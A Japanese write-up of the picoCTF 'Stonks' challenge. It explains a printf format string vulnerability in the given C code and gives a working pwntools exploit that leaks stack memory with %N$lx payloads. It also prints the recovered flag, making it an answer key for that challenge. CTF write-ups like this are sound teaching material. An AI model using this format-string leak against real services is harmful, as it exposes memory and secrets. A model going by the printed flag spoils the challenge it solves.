FSBでスタックを読み出す

picoCTFのStonks。

  • flagがスタックに積まれてる
  • FSB脆弱性がある

の2点から、単純にスタックを読み出してflagをゲット。

脆弱性の発見と戦略

与えられたソースコードを見るとFSB脆弱性がすぐ目に付く:

int buy_stonks(Portfolio *p) {

    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");

    fgets(api_buf, FLAG_BUFFER, f);

    printf("Using patented AI algorithms to buy stonks\n");

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);  // 👈 ここがFSBの部分

さらに、flagがapi_bufという変数にコピーされている。つまり、flagがスタック上にあるということ。

scanf("%300s", user_buf);にブレイクポイントを打ってgdbでスタックの様子を見ると、確かにスタック上にフラグがある:

最初はaaaaaaa_%p_%p_%p_%p_%pのように刺していたが、0x6161616161の文字列が一向に出力されなかった。

そこで、スタック上にある値をそのまま表示させるために%x%lxを使って攻撃。

  • %x: 整数を16進で出力する
  • %lx: 倍精度整数を16進で出力する

exploit

buy_stonks関数は、実行して番号の1を選択すれば以下のようにscanf("%300s", user_buf)が実行される:

shoebill@pwner:~/pico$ ./a.out 
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?

実験しながらexploitを組んでいたので、ペイロードを調整できるような形になりました:

#!/usr/bin/env python3
import sys
from pwn import *

def converter(output):
    result = b''
    output_list = output.split(b'_')
    for i in range(len(output_list)):
        result += p64(int(output_list[i], 16))

    return result[:-1]

def generator(start, end):
    payload = '%' + str(start) + '$lx'
    for i in range(int(start) + 1, int(end) + 1):
        payload += '_%' + str(i) + '$lx'

    return payload

def attack(conn):
    conn.sendlineafter('portfolio\n', '1')
    payload = generator(start, end)
    conn.sendlineafter('token?\n', payload)
    conn.recvline()

    output = conn.recvline()
    flag = converter(output).replace(b'\x00', b'')
    info('flag was found! -> {}'.format(flag))

def main():
    conn = remote('mercury.picoctf.net', 20195)
    attack(conn)
    conn.close()

if __name__ == '__main__':
    start = sys.argv[1]
    end = sys.argv[2]
    main()

実行結果:

shoebill@pwner:~/pico$ ./exploit.py 2 30
[+] Opening connection to mercury.picoctf.net on port 20195: Done
...
[*] flag was found! -> b'\xb0\x04\x08\xc3\x89\x04\x08\x80\xed\xee\xf7\xff\xff\xff\xff\x01`!a\x08\x10\xc1\xef\xf7\xc7\xed\xee\xf7
\x801a\x08\x01\xf0Ca\x08\x10Da\x08picoCTF{I_l05t_4ll_my_m0n3y_6045d60d}\x96\xff\xf8\x9a\xf2\xf7@\xc4\xef\xf7w\xa4\xbf\x01\xe9\xbc\xd8\xf7'
[*] Closed connection to mercury.picoctf.net port 20195

ちなみにこの場合、刺してるペイロードは以下のよう:

%2$lx_%3$lx_%4$lx_..._%28$lx_%29$lx_%30$lx

かなりゴリ押しな感じがだが、どのwriteup見てもこんな感じ。


16進数と文字(bytes型)の変換についてはこちら:

scrapbox.io